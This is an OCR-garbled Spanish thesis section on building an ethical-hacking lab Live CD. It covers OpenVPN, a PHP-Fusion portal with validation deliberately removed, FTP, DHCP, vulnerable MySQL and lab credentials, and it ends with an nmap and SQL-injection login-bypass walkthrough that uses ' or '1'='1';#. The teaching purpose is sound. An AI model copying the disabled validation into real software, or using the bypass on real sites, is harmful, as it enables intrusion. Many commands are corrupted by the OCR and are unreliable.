Una vez instalados los paquetes necesarios henmrealdgr la implementacion de nuestra
infraestructura VPN. Para ello antes de nada ex@linos los pasos a realizar:

6.2 Creando la Autoridad certificadora:

Para crear la Autoridad Certificadora nos valdren®sin conjunto de utilidades llamado easy-rsa
gue viene integrada con OpenVPN y nos facilitated de crear las claves.
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Al instalar OpenVPN desde los repositorios prinl@pale Ubuntu, por defecto, estas utilidades se
crean bajo el subdirectoriasr/share/doc/openvpn/examples/easy:rsaa vez localizado este
subdirectorio realizaremos los siguientes pasos.

Se copia el subdirectorio/etc/openvpmpara, por un lado, tenerlo mas a mano y por ofpors
cualquier causa se reinstalase OpenVPN o esteagefse actualiza no se corre el riesgo de que se
sobrescriban los datos configurados:

cp —R /usr/share/doc/openvpn/examples/easy-rsaldpenvpn/.

Ahora ingresamos en el subdirectorio apropiado:

cd /etc/openvpn/2.0

A continuacion se edita el fichevarsy actualizamos las siguientes claves con los dida
compainia:

KEY-COUNTRY
KEY_PROVINCE
KEY_CITY
KEY_ORG
KEY_EMAIL

Habiendo rellenado estos datos se procede a aj@sgtanismo script junto con otros dos
comandos para crear el certificado y la key privdeléa Autoridad Certificadora.

Jvars
Jclean-all
.(build-ca

Una vez finalizado esta tarea se ha generadotdiaato y la key de la Autoridad de Certificacion.
Creando certificados de servidor y clientes:

El siguiente paso consiste en crear otro par wentib/key para la maquina que actuara como
Servidor de VPN. Para generarlo se ingresa elenggicomando:

Jbuild-key-server server

Y también generar el par certificado/key para cdidamte que queramos que se conecte, esto se
realiza con el siguiente comando:

/build-key clientel
Al crear los pares certificado/key, tanto del ssovicomo del cliente, con los scripts de easy-esa s

autofirman con la Autoridad Certificadora que seteado en el primer paso. Por eso lo primero de
todo sera crear la Autoridad de Certificacion.
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Al haber generado certificados tanto para el seradmo para los clientes se puede demostrar
mediante la Autoridad Certificadora que cada unguisn dice ser y por lo tanto evitar una posible
suplantacion. Es posible proteger los ficheroslaeecprivada .key con contrasefia (pero en nuestro
entorno de laboratorio para no complicarlas pruabase protegeran)

Por ultimo se generan los parametros aleatoridgebifellman

[build-dh

6.3 Generar los ficheros de confiquracion del servidor:

Una vez creado los certificados es el momento derge las configuraciones del servidor.

Para ello se escoge en los ficheros de ejemplomfggaracion y se modifica para configurar los
requisitos deseados en la VPN. Por defecto se ptraneen la carpeta
/usr/share/doc/openvpn/examples/2.0/simple-conflgd conviene copiarlos al directorio
/etc/openvprcomo en el caso anterior.

Hay que tener en cuenta que OpenVPN crea unaanteirtual por defecto (llamada TUN) y sobre
esta interfaz virtual crea una subred a la quelleates pueden conectarse, por defecto el servidor
OpenVPN escuchara conexiones en el puerto UDP (E9dl que se usa por defecto) aunque
cualquiera de estos parametros es susceptible deosiéicado.

El primer paso es configurar la ubicacion de losifaeados de la Autoridad Certificadora, Servidor
y la key del Servidor, ademas de especificar lo&mpatros Diffie-Hellman. Un ejemplo puede ser
el siguiente:

ca /etc/openvpn/easy-rsa/2.0/keys/ca.crt

cert /etc/openvpn/easy-rsa/2.0/keys/server.crt

key /etc/openvpn/easy-rsa/2.0/keys/server.key i# file should be kept secret
dh /etc/openvpn/easy-rsa/2.0/keys/dh1024.pem

Se utiliza la interfaz virtual por defecto tunpebtocolo UDP y puerto 1194 asi como la red interna
por defecto 10.8.0.0/24 asi que también se afiadesiduientes lineas al fichero de configuracién.

server 10.8.0.0 255.255.255.0
port 1194

proto udp

dev tun

6.4 Generar los ficheros de configuracion del cliente:

Una vez que se tiene la configuracion del servidgpreciso generar la configuracién que usaran
los clientes par conectarse a la VPN. EN este taasbién tomamos como partida de la
configuracion el fichero de ejemplo por defectondaloclient.conf

El primer punto que hay que tener en cuenta esogudientes para poder conectarse a la VPN
necesitan los siguientes ficheros:
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Par certificado/key para poder autenticarse

Certificado de la Autoridad Certificadora, para @odutenticar a otros (en este caso al Servidor
VPN)

Fichero de configuracion donde se recoge la cordman especifica para poder acceder a la VPN

Lo mas comun es disponer en una misma carpetstaie £ficheros.

Igual que se ha realizado en el caso anterioraonrfiguracion del Servidor tomamos como base
un fichero de ejemplo y se modifican las rutas paapueda acceder al certificado de la Autoridad
de Certificacion y al par certificado/key del usoar

ca ./keys/ca.crt
cert ./clientel.crt
key ./clientel.key # This file should be kept scr

Al igual que se realiza en la configuracion deM@tar en el fichero de configuracién del cliente
también se utiliza la interfaz virtual por defetita, el protocolo UDP y puerto 1194 y especificarle
la direccion IP privada (Suponemos que el serv@joenVVPN se encontrara conectado
directamente a Internet con una direccién IP payadra que el cliente pueda conectarse a ella
desde una ubicacion remota (En ningin momentoeregerencia a la red virtual 10.8.0.0) para
ello también se afiaden las siguientes lineaskariicde configuracion.

remote 192.168.1.34 1194 #direccionlP y Puerto @mlie se encuentra disponible el Serv. VPN
port 1194

proto udp

dev tun

Una vez terminada esta configuracion y habiendarn&&ado el Servidor VPN y el cliente VPN se
tiene un tinel punto a punto desde el clienteraider a través de la red 10.8.0.0

6.5 Ahadiendo los Servidores internos a la VPN:

Una vez esta establecido el enlace entre el clieatservidor, y para completar nuestro escenario
se ha de poder tener conectividad desde el clgetdda la red interna de Servidores. Cabe destacar
gue en la configuracion mostrada hasta ahora sealiaado una conexion punto a punto, entre el
cliente y lo que seria la puerta de acceso daitelipacia la red interna.

Para que el cliente pueda obtener acceso a laterda Unicamente necesita las rutas de red para
llegar a ella, es decir, el cliente necesita sgherpara llegar hasta la red interna de seguridad
limite.com ha de enrrutar todo el trafico travélstdieel que se encuentra conectado.

La manera de pasar las rutas es muy sencilla,maeit2 habra que especificar en la configuraciéon
del servidor ¢erver.confla ruta especifica a incluir en los clientespest consigue mediante la
directiva push, y basta con afiadir una sola lih&ahaero server.conf

push “route 192.168.56.0 255.255.255.0"la red imarde seguridadlimite.com es esta

Por ultimo hace falta que nuestro servidor de VBNnita enrrutar trafico entre la red interna
192.168.56.0 y el tunel creado por la VPN.
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Para ello basta con editar el fichero y afiadirdaisnte linea:
net.ipv4.ip_forward=1

Una vez realizados estos cambios cada vez quegagda distribucion el Servicio de VPN estara
disponible y con acceso desde el cliente a todosdovidores de la red interna.
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Integrando las pruebas en el entorno de laboratorio

En este momento ya tenemos disponible un entormpledo que simula la red interna corporativa
de una empresa mediante este entorno se pueder idealementar multitud de pruebas de
seguridad.

A continuacion se muestra un ejemplo. El entorr@ajpartir de aqui se configura se encuentra

disponible en la Distribuciéon Live CD a entregammdemostracion de las pruebas que se podrian
realizar.

1. Instalando un portal vulnerable

El primer paso es crear un portal corporativo wahke, para tal fin un portal de contenidos tipo
CMS con licencia OpenSource puede servirnos pgreopbsito que nos ocupa.

Revisando bases de datos online que recogen vhilgsdes de seguridat@itfp://www.exploit-
db.con) se escoge un portal desarrollado en PHP llarR&tfe-Fusionen su version 6.0.0.207 el
cual, al parecer, presenta varias vulnerabilidadespo “Inyeccion de SQL”

Encontramos el cddigo de esta version en la pagiaieSourceforge. Una vez que tenemos los
ficheros fuente necesitamos instalar los servid@gVeb y Base de Datos asi como los requisitos
del lenguaje PHP para poder tener operativo edport

Requisitos indispensables para poder instalarpestal en el sistema son instalar los paquetes
apache2, mysql-server, php5-mysql, ph@ipache2-mod-phpPpara instalarlo es suficiente con
ejecutar la herramienta apt-get:

sudo apt-get-install apache2, mysql-server, phpSssglyphp5, apache2-mod-php5

Una vez instaladas las dependencias descompringhpagjuete de PHP-Fusion y movemos la
carpeta php-files al directorigar/www/ y renombramos la carpeta para que sea mas i@tuitiv

sudo cp php-files /var/wwwy/.
sudo mv /var/www/php-files /var/www/php-fusion

Ahora configuramos nuestro servidor apache pargqgeda servir nuestro portal vulnerable, para
ello editamos el fichero de configuracion del sitieb de instalacion para indicarle el directorio de
trabajo y el documento raiz, para ello editamdibéro:

sudo vim /etc/apache?2/sites-enabled/000-default

y modificamos las siguientes lineas.:

DocumentRoot /var/www/php-fusion
<Directory /var/www/php-fusion/>
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Una vez realizado este paso procederemos a crearestro servidor de Base de Datos una nueva
base de datos para la instalacion de nuestro pmsatonectamos al servidor SQL:

Mysql —p

Una vez hemos introducidos las credenciales dessasmcrea la base de datos con el nombre de la
empresa seguridad _ limite:

sql> create database seguridad_limite;

Por ultimo hace falta cambiar los permisos a céedicectorios de PHP-Fusion para que se pueda
terminar de instalar y ejecutar correctamente, ecoasretamente habra que dar permisos de
lectura/escritura ejecucion a las siguientes caspet

- administration/db_backups/
« images/

- images/imagelist.js

« images/articles/

- images/avatars/

« images/news/

- images/news_cats/

« images/photoalbum/

« forum/attachments/

« config.php

Deberemos de cambiar los permisos a cada una darfaetas enumeradas:
sudo chmod 777 “nombre_de_carpeta”
En este momento ya tenemos el portal disponible,rsis falta configurarlo. Al conectarnos a la

web del portahttp://192.168.1.34I portal se encuentra activo y nos pide los dé¢osonexion a la
Base de Datos para terminar de configurarse.

Bulgarian DCanish Dutch English
French German Gresk Hungarian
Italian Lithuanian Norwegian Parsian
Polish Romanian Russian Spanish

Swedish Turkish

PHP-FUSION

INFUSE YOUR WORLD WIDE WER PRESENCE

Welcome to PHP-Fusion setup
write permissions check failed
Please ensure you have chrodded the required folders,

Database access settings

Database Hostname: localhost

Database Usernames: oot

Database Password; [F**#»wx

Database Name: |phpfusion

Table Prefix: fusion_

| mext |
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Una vez terminada la creacion de la base de datos programa de instalacién se le pide al
usuario que cree el Administrador del portal.

1.1 Cambios Realizados en el Portal:

Para que el portal fuese vulnerable se ha moddipadte del cdédigo del portal para que no valide
la entrada de texto en numerosas ocasiones.

Por ejemplo a la hora de realizar el ingreso medilmgin se ha desactivado la validacion, también
se ha desactivado la validacion de datos de entragédmodulo de busqueda del portal y en las
categorias de articulos.

De esta manera, al eliminar la validacion permismqaoe nuestro portal sea capaz de interpretar
todos los caracteres insertados, permitiendo agieese pueda introducir inyecciones de codigo en
el sistema.

Se han realizado un par de cambios en las prefasedel portal para que los usuarios no logados
puedan ver la seccion de articulos y los miembebsidtema tengan disponible el médulo de
busqueda.

El Ultimo cambio que se ha realizado consiste emba el primer usuario de la Base de Datos, que
por defecto es el administrador que nos cream@&sianhente, por un usuario normal sin

privilegios.

Todas estas modificaciones cobraran relevanciadocuagalicemos las pruebas.

2. Instalando un servidor FTP

Para poder continuar con las pruebas se ha instalarvidor FTRroftpd

sudo apt-get install proftpd

Una vez instalado el servidor crearemos un ussariprivilegios y sin acceso a shell para que
pueda logarse en el servidor FTP y descargar ¢tcmo de su carpethome Para que el usuario
no tenga login es necesario, una vez creado efiasuhabiéndole dispuesto un directorio
personal, quitarle la shell:

Pedro:x:1001:1002:Pedro:/dev/null:/dev/null

Podemos comprobar que en el apartado donde séeestdd el grupo al que pertenece el usuario y
el shell que tiene obtenemiakev/null

Para configurar el servidor FTP correctamente agabes especificar editar el fichero
letc/proftpd/proftpd.conf

sudo vi /etc/proftpd/proftpd.conf
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Y modificar parametros como la direccién IP enda qtiende el servicio, el usuario que tiene
permisos de acceso, directorio del usuario et@miicuacion se muestran las lineas mas
importantes:

DefaultServer on

Umask 022

ServerName "192.168.1.34"

Serverldent on "Seguridad Limite FTP corporativo"
ServerAdmin administrador@seguridadlimite.com
IdentLookups off

UseReverseDNS off

Port 21

<Limit LOGIN>

AllowUser Pedro

DenyALL

</Limit>

<Anonymous /home/ftp/Pedro>
User Pedro

Group groupl
AnonRequirePassword on

De esta manera ya se encuentra disponible el aatesovicio FTP mediante el usuario Pedro.

3. Instalando servidor DHCP

Otro requisito para las pruebas disefiadas estalany configurar un servidor DHCP. En este caso
optamos por un paquete de software de muy semsiidlamadalhcp3 se encuentra en los
repositorios de Ubuntu, asi que instalarlo no sdponingun problema.

sudo apt-get install dhcp3

el fichero de configuracion de este servicio saientra eretc/dhcp3/dhcpd.cose ha de

modificar un par de lineas especificando el rargdicecciones que el servidor puede suministrar a
los clientes:

sudo vi /etc/dhcp3/dhcpd.conf

La configuracién del pool de direcciones para rmoesttorno es la siguiente:

subnet 192.168.1.0 netmask 255.255.255.0 {

range dynamic-bootp 192.168.1.40 192.168.1.50;
option broadcast-address 192.168.1.255;

}
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4. Arrancando maquinas virtuales al inicio

Una cuestion no menos importante es la opcionidifas maquinas virtuales en el inicio del
sistema.

Para poder realizar este cometido se ha adaptasicriph paranit.d encontrado en Internet . Dicho
script permite ejecutar el inicio y la parada da oraquina virtual d¥irtualBoxcomo si fuese un
servicio del sistema (en la seccion de referenmaemos ver de donde se adapto el script).

Con este script modificado operamos con la maquimzal v1, la otra maquina virtual que se
implement6 no serd necesaria para nuestras prygimaganto permanecera apagada para ahorrar
recursos.

Debemos crear un nuevo archivo con permisos daageten la carpetatc/init.d

sudo vi /etc/init.d/virtualbox-vIEl contenido del script se puede ver en la secd@®Anexo)
sudo chmod +x virtualbox-v1

Ahora para que el servicio se active al iniciogislema actualizamos el servicwod:
sudo update-rc.d virtualbox-v1 defaults

Si quisiéramos detener o iniciar el servicio erlgquiar momento podemos valernos del comando
service

service virtualvox-v1l start|stop|status|restart
Terminadas todas estas configuraciones tendriamosnjunto de pruebas implementadas en

nuestro sistema frontal. Ahora falta implementguah prueba en la maquina virtual v1 que
tenemos en ejecucion para tal efecto.

5. Instalando servicios vulnerables en Servidores | nternos

Instalaremos un servicio vulnerablysql 5.0.51a-3(que es uno de los servicios que provee una
distribucion vulnerable llamaddetasploitablg

Como en nuestro entorno ya disponemos de la magirtnal v1 abriremos una consola mediante
VirtualBox e instalaremos el servichysql

No hace falta crearnos ninguna base de datos yexgpletaremos el servidor mediante una
vulnerabilidad del propio servicidysqgl

La version vulnerable ddysqglse encuentra en los repositorios de Ubuntu 8.i8#iftlicion
instalada en v1) de manera que se instala sinqrad:

sudo apt-get-install mysql-server
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De esta manera el servidibysqglse encuentra ejecutandose en el sistema, perppdea
explotarlo necesitamos que sea accesible desadéeeioe. Procederemos a modificar el fichero de
configuracion déVlysqlpara permitir conexiones desde el exterior dedguma.

El fichero de configuracion ddysqglse encuentra detc/mysgl/my.cnf

vi /etc/mysqgl/my.cnf

Modificamos la linea siguiente para dugsqlde servicio en nuestra direccion IP

bind-address =192.168.56.35

Terminada esta configuracion ya tenemos un servigdizerable implementado en la maquina v1.
Sin mas preambulos podemos concluir que hemos iingplado correctamente una serie de
pruebas de seguridad en las que se desarrollanasae descubrimiento de informacion,

inyeccion de codigo cracking de contrasefias (coenernos mas adelante) y explotacion de
servicios vulnerables de manera remota.
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Convirtiendo nuestro laboratorio en un Live CD

Una vez que tenemos nuestro entorno configurade priuebas implementadas procederemos a
compilar la distribucion LIVE CD. Para ello, comijidos anteriormente nos valdremos de la
herramienta Remastersys que te compila el sistaneaquie se encuentra instalado en una
distribucion LIVE.

Antes de ejecutar la herramienta Remastersys madbfinos partes de su configuracion para que la
LiveCD se realice con las opciones que deseamos.

1. Cambio en el menu de arranque

Al ejecutarse la distribucion LiveCD se ejecutamuenu interactivo con el usuario para que elija las
opciones de arranque (modo grafico, modo textéalasla distribucion) modificaremos este
sistema de arranque para que se muestren Unicalagiofgciones que deseamos, este archivo de
configuracion del menud se encuentrdetn/remastersys/isolinux/isolinux.cfg.vesamenu

sudo vi /etc/remastersysl/isolinux/isolinux.cfg.vesenu (La seccién Anexo dispone de una copia)
Las opciones mas importantes que hemos afiadidia speiontext para poder tener la posibilidad
de iniciar la distribucion live en modo texto. Ydpcion ip=frommedia para que el sistema

arranque con la configuracion IP que habiamos é&paeto en el entorno.

También se puede modificar la imagen de fondo @#limse encuentra en
/etc/remastersys/isolinux/splash.png

En el caso de esta distribucion se afiade un teplacando requerimientos de Hardware:

istribucion

-36 -



Autor: Sergio Romero Redondo

Una vez terminadas estas pequefias configuraciauesms proceder a crear el fichero .iso con
nuestra distribucion LiveCD mediante el siguierdenando:

sudo remastersys backup nombre_distribucion.iso

Una vez terminado el proceso en el directéitamme/remastersysodremos encontrar el fichero .iso
con nuestra distribucion lista para grabar en uibBA&l resumen MD5 del fichero .iso generado.

2. Modificacion del Kernel

Otro cambio muy importante es el que se refiemgiab del Login. Por defecto al crear la LiveCD
el sistema arranca un script al inicio llamadbologin Este script tiene la funcionalidad de iniciar
automaticamente una sesion interactiva con el prusario creado en el sistema (Y que por lo
tanto pertenece al grupo sudoers) cada vez queasea la distribucion Live desde el CD

Para evitar que esto suceda hay que editar et,salgpado erfusr/share/initramfs-
tools/scripts/casper-bottom/25autologinmodificar la siguiente linea:

vi /usr/share/initramfs-tools/scripts/casper-botté2dautologin
if [ -n "SUSERNAME" ]; then

sustituir por

if [-n"™]; then

Realizados estos cambios para que tengan efetagedxima recompilaciéon de Remastersys hay
ce actualizar unos parametros del Kernel, parabalta con utilizar el siguiente comando:

update-initramfs —u
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Errores encontrados y soluciones

La distribucion Ubuntu nos impide escoger en tieme instalacion del sistema los paquetes
especificos que queremos instalar. Deberemos tisin®s paquetes que no requiramos una vez
finalizada la instalacion.

Remastersys si queremos disponer de la opciorstidanion de la distribucion hay que tener
instalado en el sistema obligatoriamente Ubiquity depende de Gnome con lo que hay que
instalar el entorno grafico.

Se han tenido que adaptar numerosas situaciongsguegan necesarias a la hora de poder crear
nuestra LiveCD tales como deshabilitar el inicicsdsion automatico y el inicio de la distribucion
LiveCD con la configuracion IP correcta para nuestitorno.

Si ejecutamos la distribucion LiveCD en una maquinaal el inicio del Servidor interno se
demora demasiado, consume mucho tiempo de CPUe Madontrado informacion al respecto,
pero por las observaciones realizadas parece @éehbepse hay una virtualizacion anidada a otra y
esto ralentiza en exceso el correcto funcionamidet@ntorno

Virtualbox consume memoria RAM a la hora de arrate®S.O obliga a que la distribucion Live

requiera para poder ejecutarse correctamente ummire unos 2 GB de RAM o en su defecto
proceder a la instalacion del sistema
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Conclusiones

El resumen general puede ser bastante amplidaego del proyecto han ido surgiendo diversos
problemas.

Por un lado al ser una distribucion Live el proldete tener que disponer de los datos a usar en
memoria RAM se convierte en un problema ya quaslbsistemas virtualizados guardan su
estructura de datos en un fichero .vmdk y esteefecha de poder leerse por completo, con lo cual,
cargarlo en memoria RAM y aunque se ha intentasimiduir al maximo el tamafo de este archivo
no se ha podido rebajar de los 500 MB de espacio.

El uso de la herramienta Remastersys, si bienyrasa primeras pruebas al inicio parecia la
herramienta perfecta para poder crear de una medq@da distribuciones LiveCD después de tener
gue realizar configuraciones mas especificas Keguik habia que hacerlas de manera manual tales
como desactivar el autologin o arrancar la distif con la configuracion IP adecuada.

Ubuntu como distribucién de escritorio puede sstdrde comoda para un usuario domeéstico, pero
a la hora de realizar tareas de configuracion maszadas puede convertirse en una tarea tediosa
ya que a mi entender sus configuraciones por defecintegrar varias maneras de configurar
ciertas opciones del sistema gue ya no se usarsigerm® estando ahi, y, por supuesto, la falta de
interactividad con la instalacién que te impideeseilonar los paquetes a instalar.

Una vez que la Virtualizacion en el Servidor estaompletamente terminada el trabajo de integrar
el entorno, configurar la red privada virtual copeg@VPN, configurar los servicios e implementar
las pruebas ha sido un trabajo bastante didacteeez que divertido.

Después de haber realizado este proyecto y dagiwdbemas encontrados me replantearia la

opcion de escoger Ubuntu como distribucion basgemtaria buscar una alternativa a la
Virtualizacion con Virtualbox que presente mayardieniento.
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Anexo

1. Credenciales del entorno

A continuacion se muestran las credenciales defemipara que se puedan realizar las

comprobaciones y/o modificaciones necesarias.

Acceso al sistema (el usuario pertenece al grugoesa):

e Usuario: gestor

» Contrasefia;: @G3$toor

Acceso al servidor Mysgl (valido para los dos stows:)

» Usuario:root
» Contrasefiaa:L1m1t3
* Nombre de la Base de Datos: seguridad_limite

Acceso portal Web

e Usuario:Administrador
* Contraseia: S3guRl1d@d
e Usuario:Pedro

» Contrasefna: cacahue

Usuario FTP
e Usuario:Pedro

» Contrasefna: cacahue

Fichero certificados.zip

+ Contrasefa: Be@Trlz
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2. Script inicio Maguina virtual

#! [bin/sh

### BEGIN INIT INFO
# Provides: virtualbox-v1
# Required-Start: $local_fs $remote_fs vboxeboxnet
# Required-Stop:  $local_fs $remote_fs
# Default-Start: 2345
# Default-Stop: 016
# Short-Description: v1 virtual machine
# Description: v1 virtual machine hostég VirtualBox
### END INIT INFO

# Author: Brendan Kidwell <brendan@glump.net>

#

# Based on /etc/init.d/skeleton from Ubuntu 8.0Jpdated for Ubuntu 9.10.
# If you are using Ubuntu <9.10, you might ne&mlchange "Default-Stop"
# aboveto"S016"

# Do NOT "set -e"

# PATH should only include /usr/* if it runs @ér the mountnfs.sh script
PATH=/usr/sbin:/usr/bin:/sbin:/bin

DESC="v1 virtual machine"

NAME-=virtualbox-v1

SCRIPTNAME=/etc/init.d/$NAME

MANAGE_CMD=VBoxManage
VM_OWNER=gestor

VM_NAME="v1" #This has to be the name exacthsat appears in your VirtualBox GUI
control panel.

# Read configuration variable file if it is peent
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[ -r /letc/default/SNAME | && . /etc/default/SNME

# Load the VERBOSE setting and other rcS valied
[ -f /etc/default/rcS ] && . /etc/default/rcS

# Define LSB log_* functions.
# Depend on Isb-base (>= 3.0-6) to ensure thé# file is present.
. llib/Isb/init-functions

#
# Function that starts the daemon/service
#
do_start()
{
# Return
# 0 if daemon has been started
# 1 if daemon was already running
# 2 if daemon could not be started

sudo -H -u $VM_OWNER $MANAGE_CMD showvmint8VM_NAME"|grep
"AState:\s*running” >/dev/null && {

echo "$VM_NAME" is already running.
return 1

sudo -H -u $VM_OWNER $MANAGE_CMD startvm \81_NAME" --type headless
>/dev/null || {

echo Failed to start "$VM_NAME".
return 2

echo "$VM_NAME" started or resumed.
return O
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# Function that stops the daemon/service

#
do_stop()
{

# Return

# 0 if daemon has been stopped

# 1 if daemon was already stopped
# 2 if daemon could not be stopped
# other if a failure occurred

sudo -H -u $VM_OWNER $MANAGE_CMD showvmintféVM_NAME"|grep
"AState:\s*running” >/dev/null || {

echo "$VM_NAME" is already stopped.
return 1

sudo -H -u $VM_OWNER $MANAGE_CMD controlvii$VM_NAME" savestate || {
echo Failed to stop "$VM_NAME".
return 2

echo "$VM_NAME" suspended.
return O

#

# Display "State" field from showinfo action
#

do_status()

{

sudo -H -u $VM_OWNER $MANAGE_CMD showvmintéVM_NAME"|grep
"AState:\s*.*$"

}

case "$1"in
start)
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[ "$VERBOSE" !=no ] && log_daemon_msg "Staing $DESC" "$NAME"

do_start
case "$?"in
0]1) ["$VERBOSE" '=no ] &&log_ed msg O ;;
2) ["$VERBOSE" '=no ] && log_endmsg 1 ;;
esac
stop)
[ "$VERBOSE" !=no ] && log_daemon_msg "Stpping $DESC" "$NAME"
do_stop
case "$?"in
0]1) ["$VERBOSE" '=no ] &&log_ed msgO ;;
2) ["$VERBOSE" '=no ] && log_endmsg 1 ;;
esac
restart|force-reload)
#
# If the "reload" option is implemented timeremove the
# 'force-reload' alias
#
log_daemon_msg "Restarting $DESC" "$NAME"
do_stop
case "$?"in
0]1)
do_start
case "$?"in
0) log_end_msg 0 ;;
1) log_end_msg 1 ;; # Oldbgess is still running
*)log_end_msg 1 ;; # Fall¢o start
esac
*)
# Failed to stop
log_end_msg 1
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esac

status)
do_status

%)
#echo "Usage: $SCRIPTNAME {start|stop|redieeload|force-reload}" >&2
echo "Usage: $SCRIPTNAME {start|stop|rediéorce-reload|status}’ >&2
exit 3

esac

3. Fichero menu de arrangue

default vesamenu.c32
prompt O
timeout 300

menu title LIVE CD LABORATORIO HACKING ETICO _
menu background splash.png
menu color title 1;37;44 #cOffffff #00000000 std

label live
menu label live - boot the Live System
kernel /casper/vmlinuz

append file=/cdrom/preseed/custom.seed boot=easyptrd=/casper/initrd.gz quiet splash
ip=frommedia --

label install
menu label install - start the installer directly
kernel /casper/vmlinuz

append file=/cdrom/preseed/custom.seed boot=easply-ubiquity initrd=/casper/initrd.gz
quiet splash --

label textonly
menu label textonly - boot Live in textonly mode
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kernel /casper/vmlinuz

append file=/cdrom/preseed/custom.seed boot=eatgxtonly initrd=/casper/initrd.gz text quiet
ip=frommedia --

label debug
menu label debug - boot the Live System withqulash and show boot info
kernel /casper/vmlinuz

append file=/cdrom/preseed/custom.seed boot=easptrd=/casper/initrd.gz nosplash
ip=frommedia --

label hd
menu label hd - boot the first hard disk
localboot 0x80
append -

4. Guia para realizar las pruebas

Todas las pruebas han de pasarse de forma remmatecie trataremos la distribucién Live CD con
nuestro laboratorio de Hacking ético como si darégia pagina welwww.seguridadlimite.conse
tratase.

El Unico punto en el que no sera exactamente ggidebido a que la distribucion Live lleva
incorporado un servidor DHCP para poder dar dicews IP y que la persona que interactué con
nuestro usuario no ha de preocuparse por nada.

Para realizar estas pruebas correctamente sdihaddila Distribucién de Linux BackTrack 5, y
los programas sqlmap y Webscarab Proxy Web

1. Obteniendo direccion IP:

La obtencion de la direccion IP es bastante facijye nuestra distribucion dispone de Servidor
DHCP asi que cualquier maquina que se encuenteereisma red fisica en la que se encuentra
nuestro laboratorio obtendra una direccion IP:

ifroot@bt:"# ifconfig
ethO Link encap:Ethernet HUaddr 08:00:27:11:67:6b
inet addr |192.168.1.36| Bcast:192.168.1.255 Mask:255.255.255.0
inett addr: feB0::a00:27ff :fell:676b 64 Scope:Link
UP BROADCAST RUNNING MULTICAST MIU:1500 Metric:1
RX packets:118 errors:0 dropped:0 overruns:0 frame:®
TX packets:18 errors:0 dropped:0 overruns:® carrier:@®
collisions:0 txqueuelen:1000
RX bytes:12420 (12.4 KB) TX bytes:1606 (1.6 KB)

Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0

inetb addr: ::1-128 Scope:Host

UP LOOPBACK RUNNING MTU:16436 Metric:1

RX packets:16 errors:0 dropped:0 overruns:0 frame:0
TX packets:16 errors:0 dropped:0 overruns:@ carrier:@
collisions:0 txgqueuelen:0

RX bytes:1153 (1.1 KB) TX bytes:1153 (1.1 KB)
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Como podemos observar obtenemos la dired€1é92.168.1.36

2. Descubrimiento de la red:

Una vez que tenemos la direccién IP debemos obiiisemacion sobre la red objetivo. Para ello
realizamos un escaneo a la red y a las maquinasaguencontremos:

root@ht:"# nmap -sn 192.168.1.0.24

[Starting Mmap 5.51 ( http:r - nmap.org ) at 2011-06-13 20:52 CEST
map scan report for 192.168.1.1

ost is up (0.0024= latency)d.

AC Address: 64:68:0C:C6:6A:BA (Comtrend)

map scan report for 192.168.1.10

ost is up (0.00069= latency).

AC Address: 00:13:A9:08:B5:6E (Sony)

map scan report for|192.168.1.34

ost is up (0.00045s latency).

AC Address: 00:11:2F:7E:BF:D4 (Asustek Computer)

map scan report for 192.168.1.36

ost is up.

map done: 256 IP addresses (4 hosts up) scammed in 9.54 seconds
oot@bt: ™ _

root@ht :"# nmap 192.168.1.34

Btarting Mmap 5.51 ( http: /nmap.org ) at 2011-06-13 20:55 CEST
map scan report for 19Z2.168.1.34
ost is up (0.0021s latency).
ot shown: 997 closed ports

SERVICE

ftp

ssh

http

D 00:11:2F:7E:BF:D4 (Asustek Computer)

Una vez descubiertas las maquinas de la red \afijagstra maquina objetii®2.168.1.34
comprobamos que se encuentra configurada con fegi®e SSH y HTTPd, empezaremos
recopilando informacién de este ultimo.

3. Descubriendo portal Web:

Nos conectamos mediante el protocolo HTTP a ladida IP obtenida y descubrimos que se trata
del portal corporativo de la empresa Seguridad tieimi

*’ g C gt 1S L) bitp:fiiaz. 188 34 jnews.php -1 (243~ 7| @

8] Mas visitados | | Comenzar a usar Firef . |5 Oltimas noticias [l Hoted villa Oniria en Gr

| SEGURIDAD LIMITE

SEGURIDAD LIMITE

Horne « Articles June 13 2011 20:57:07

Bienvenido

ESPECIALISTAS EM SEGURIDAD
ol

Noticias

Oluidé su

Ninguna Noticias ha sida enviada todavia

Copyright @ 2009
Powerad by [R5 FIEIEER| v6.00,207 @ 2003-2005 Milestone Theme byt (] “frmet

436 visitas Unicas
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El portal se encuentra bastante restringido, pdeeicgranet de la empresa, sin embargo en la
seccién de articulos tienen disponible de manebptigaticierto contenido. Nos interesamos por él.

|j SEGURIDAD LIMITE +

SEGURIDAD LIMITE

Home « Articles June 13 2011 21:03:47

Queridos usuarios:
Para que poddis acceder a la oficina en remoto os he dejado a cada uno un mail en vuestra cuenta. tendréis que leerlo ¥ seguir las instrucciones.

Adrnin

Enviado por Administrador on June 10 2011 19:14:34 0 Comentarios - Tleer- &

Ningin cornentario ha sida enviada,

Registrese para enviar comentarios

Valorar esta disponible sélo para Usuarios.

Ingress o reqistrese para votar.

Sin Puntuacidn,

Copyright @ 2005

Powered by vE.00.207 @ 2003-2005 Milestone Theme by: =]

436 Visitss Unicas

Por lo que se puede intuir que la empresa disperagiina plataforma de acceso remoto,
posiblemente por beneficios sociales del teletmbaj

En principio las instrucciones se encuentran edoseos de los usuarios, pero nosotros no
disponemos de credenciales para acceder a ningengac Intentaremos explotar el sistema.

4. Accediendo a la intranet:

Como hemos podido comprobar existe un formularra pagresar las credenciales, miraremos el
codigo fuente de la pagina por si existiese alguisia.

</div>
</td><td class='border-right'><img src='themes/Milestone/images/blank.gif' width='13' height='1' alt='' style='displayv:block'></td
! ——lyve pedro -->

f——Aver cambie la Ffuncion validacion del usuario —->

!——zghora para validar usamos el siguiente codigo —->

f-—fresult = dbguery("SELECT # FROM ".$db prefix."users WHERE user name='fuser name' AND user password='Suser pass'"); -->
!=—=1z consulta es mas ligera, funciona mejor -—->

P o

AT E

<td width='170' wvalign='top' class='side-horder-right'>

<tahle width='100%' cellpadding='0' cellspacing='0'><tr><td class='panel-left'><img srec='themes/MNilestone/images/blank.gif' width=

Efectivamente, un administrador confiado ha dejadcomentario de la funcién implementada,
posiblemente para que otro compafero suyo estuaig¢anto de las modificaciones.

Con esta informacion no tardamos en darnos cuema&s|posible inyectar codigo sql en el cédigo
del portal que nos da acceso.

Inyectamos el codigbor '1'="1";# en el campo de usuario
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Usuaria
|' ar '1'="1"; 8 |
Contrazena

|
O

ileidd su contrasefia?
Pedir una nuewva aqui,

Y comprobamos como obtenemos un acceso satisfactami el usuario Pedro

